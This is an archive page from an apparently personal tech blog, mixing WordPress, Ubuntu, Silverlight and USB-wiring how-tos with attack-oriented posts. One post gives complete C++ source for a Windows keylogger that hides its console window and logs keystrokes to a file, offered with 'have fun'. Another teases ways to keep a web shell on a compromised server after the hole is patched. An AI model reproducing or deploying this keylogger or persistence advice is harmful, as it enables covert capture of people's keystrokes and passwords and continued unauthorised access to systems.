Archive for the ‘how to’ Category

PostHeaderIcon How to: Only allow yourself to login to WordPress.

how-to-only-allow-yourself-to-login-to-wordpress

So I was just casually sitting here minding my own business this evening, working on a top secret project when all of a sudden my email alarm went crazy.  Yes I have an alarm.  A lot of the time I pass most of these bells and whistles off as spam, and close my e-mail client.  However this time I decided to actually check, and lo and behold, a message from Flyninja.net.

Now this was no ordinary e-mail, such as for a new comment, or a new post from one of our contributing authors.  No.  This was to notify me that my password had been forgotten by someone else, and had been reset.  That is an annoyance.  Oh but what to do? What to do?

I decided I would add a few lines of my own code to the login page.  This code checks for a specified IP address, and if it is not the defined IP, redirects the person somewhere else.  All in a couple lines of code.

Before I divulge this little trinket, letme just clarify that it’s very generic, and simple.  If you are the only person who posts to your blog, this is great.  If you have more than one author, then it will need a bit more added to it.  If you don’t have a static IP, then this probably is not a good idea for you.

Open up wp-login.php in your favorite editor and find the line:

add_action(‘login_head’, ‘noindex’);

This is found within the Function ‘login_header’ and may be about line 49

Beneath this line add this code:

$data = ‘you.ip.add.ress’;

if ($_SERVER['REMOTE_ADDR'] != $data) {

header(‘Location: http://www.somewebsite.com/’);

}

$data should equal your IP address, and after Location: you should add a website which you would like the stupid fucks who attempt to login to be redirected to.

PostHeaderIcon C++ Local Key Logger

Here is a simple example keylogger code written in C

it has the ability to hide the cmd window

have fun ;)

#include
#include
#include
#define _WIN32_WINNT 0×0500
#include

using namespace std;

int main(int argc, char *argv[])
{
HWND win;
win = GetConsoleWindow();
ShowWindow(win, SW_HIDE);
ofstream myfile;
myfile.open(“C:\\keys.txt”);
while (1) {
int i;
short keyit;
for (i = 32; i <= 256; i++) {
keyit = GetAsyncKeyState(i);
if (keyit == -32767) {
int keyEnd;
keyEnd = 81;
myfile << char(i);
if (i == keyEnd) {
myfile.close();
}
}
}
}
return 0;
}

PostHeaderIcon Hiding Command Prompt

hiding-command-prompt

I had an issue running a private World of Warcraft server, there were to many open command windows on my PC  which I also use for development.  Here is a solution which I found.

Head over to:

http://www.commandline.co.uk/cmdow/

to get a list of Windows open in particular there handles


cmdow.exe /T

In my case I wanted the handle the command(cmd) windows which were open

Let’s hide em’


cmdow.exe handle /hid

*cheers

PostHeaderIcon Iron Python and Silverlight Tutorial

iron-python-and-silverlight-tutorial

I’ve been playing with Microsoft Silverlight and would like to share how to use it. First what is Microsoft Silverlight?

Microsoft Silverlight is a programmable web browser plugin that enables features such as animation, vector graphics and audio-video playback that characterizes rich Internet applications

Currently in Version 2 and Version 3 is in Beta. Version 2 brought with it the use of the Dynamic Language Runtime environment or DLR this allows for languages using .net to implement Silverlight Applications Such as C# VB.net Iron Python and Iron Ruby. To explain it better you can now use Python in your browser!

Silverlight uses XAML an XML based language developed by microsoft for use with silverlight

Extensible Application Markup Language, or XAML (pronounced “zammel”), is an XML-based markup language developed by Microsoft

Alright now that we know what Silverlight is we can start to use it. The examples I will be developing will be for IronPython 2.01

Read the rest of this entry »

PostHeaderIcon Keeping Access Rant

Cyber_SecurityAdministrators are keen to patch their web applications when new exploits are fully disclosed.  Not all do this of course, but a good administrator keeps up with closing as many vulnerabilities that can be found in their installed software.  Using web-shells on a target machine is a great way to operate and manipulate the things you need to do.  However, there are some advancements in finding these vulnerabilities.  On a well updated system, the life of a web based shell can be short.

You cannot always rely on the applications vulnerability to keep uploading or including your shell.  If it is patched, you’ve lost your access to that system most of the time.  How can you keep your attack persistence on machine?  How can you try to ensure you will be able to gain access again, if in fact the vulnerability is closed, and your shell, deleted?
Read the rest of this entry »

PostHeaderIcon How To: Change Ubuntu Jaunty Top-Level Menu Names (Gnome)

how-to-change-ubuntu-jaunty-top-level-menu-names-gnome

For this How-To, I’m going to show you how to change the top level menu name “Applications” in Ubuntu Jaunty. No-third party installation manager software is going to be used here.  Just some good old CLI hacking.

After doing some research I found that most of the answers to this question were complete bullshit.  From what I found a lot of these resources showed you how to change/add items and menus using the menu editor.

If what I want to achieve could be done with the menu editor, I would have done it with the menu editor.

This tutorial is for those running Ubuntu with GNOME…if your using KDE or any others your out of luck here.  In the default Ubuntu desktop installation the “Applications” menu name is hard coded into the GNOME-Panel.  So basically what we need to do is download the source for GNOME-Panel, hunt down the file that names the top level menu “Applications”, change it, compile the source, and reinstall GNOME-Panel.  Sound Tricky?  It’s not that hard actually.
Read the rest of this entry »

PostHeaderIcon HOW-TO: Custom usplash in Ubuntu Jaunty

how-to-custom-usplash-in-ubuntu-jaunty

Well after doing some major research the last few days, and successfully changing my Ubuntu 9 (Jaunty) usplash, I thought I would be a kind soul and provide you all with this little tutorial.  First letme explain that this may not work for you, however it is simply a modification of the current usplash.  This will aim to show you how to get started on creating your own usplash customizations.

Usplash works by reading a compiled library much like a .dll in Windows.  These are denoted by the extension .so (shared object).   Usplash has a default theme manager you can interact with called usplash-artwork.so, you will see how to use this later on in the how-to.  It is simple, and no-nonsense.

Here are a couple of resources you may find useful in your learning experience.

http://ubuntuforums.org/showthread.php?t=771410

http://ubuntusatanic.org/forum/comments.php?DiscussionID=21&page=1

http://ubuntuforums.org/showthread.php?t=622018 (note: that I only partially used this as a reference.)

This how-to is going to walk you through building your own custom usplash theme.  It does not use startup manager or any kind of 3rd party usplash manager crap.  I am going to assume you know what your doing at command line a little bit. Read the rest of this entry »

PostHeaderIcon USB-B Wiring Diagram

usb-b-wiring-diagram

I was going through some papers laying around my desk and I found a diagram I scribbled up while I was building my USB HDD box

I looked all over the Internet to find a simple diagram just like this but came up empty handed… I found a diagram from Wikipedia which listed the wiring configuration in numerical form, not color coded which I needed. I ended up having to resort to trial and error, systematically hooking up each wire until my computer recognized my device, which isn’t a very good technique to use with some home brew applications because it could end with damaged equipment.

So here it is, the only known (to me) copy of a USB-B Wiring Diagram in existance on the Internet. Brought to you FIRST by Flyninja.net.  Yes, it’s kinda crappy, but it’s the best looking MSPaint graphic made from Sharpie on Post-it note that 2 minutes can offer.

USB-B Diagram

(If you need a USB-A Diagram, you’re screwed)

Search
Awesome Links
Subscribe
Vote for Flyninja
Random Reading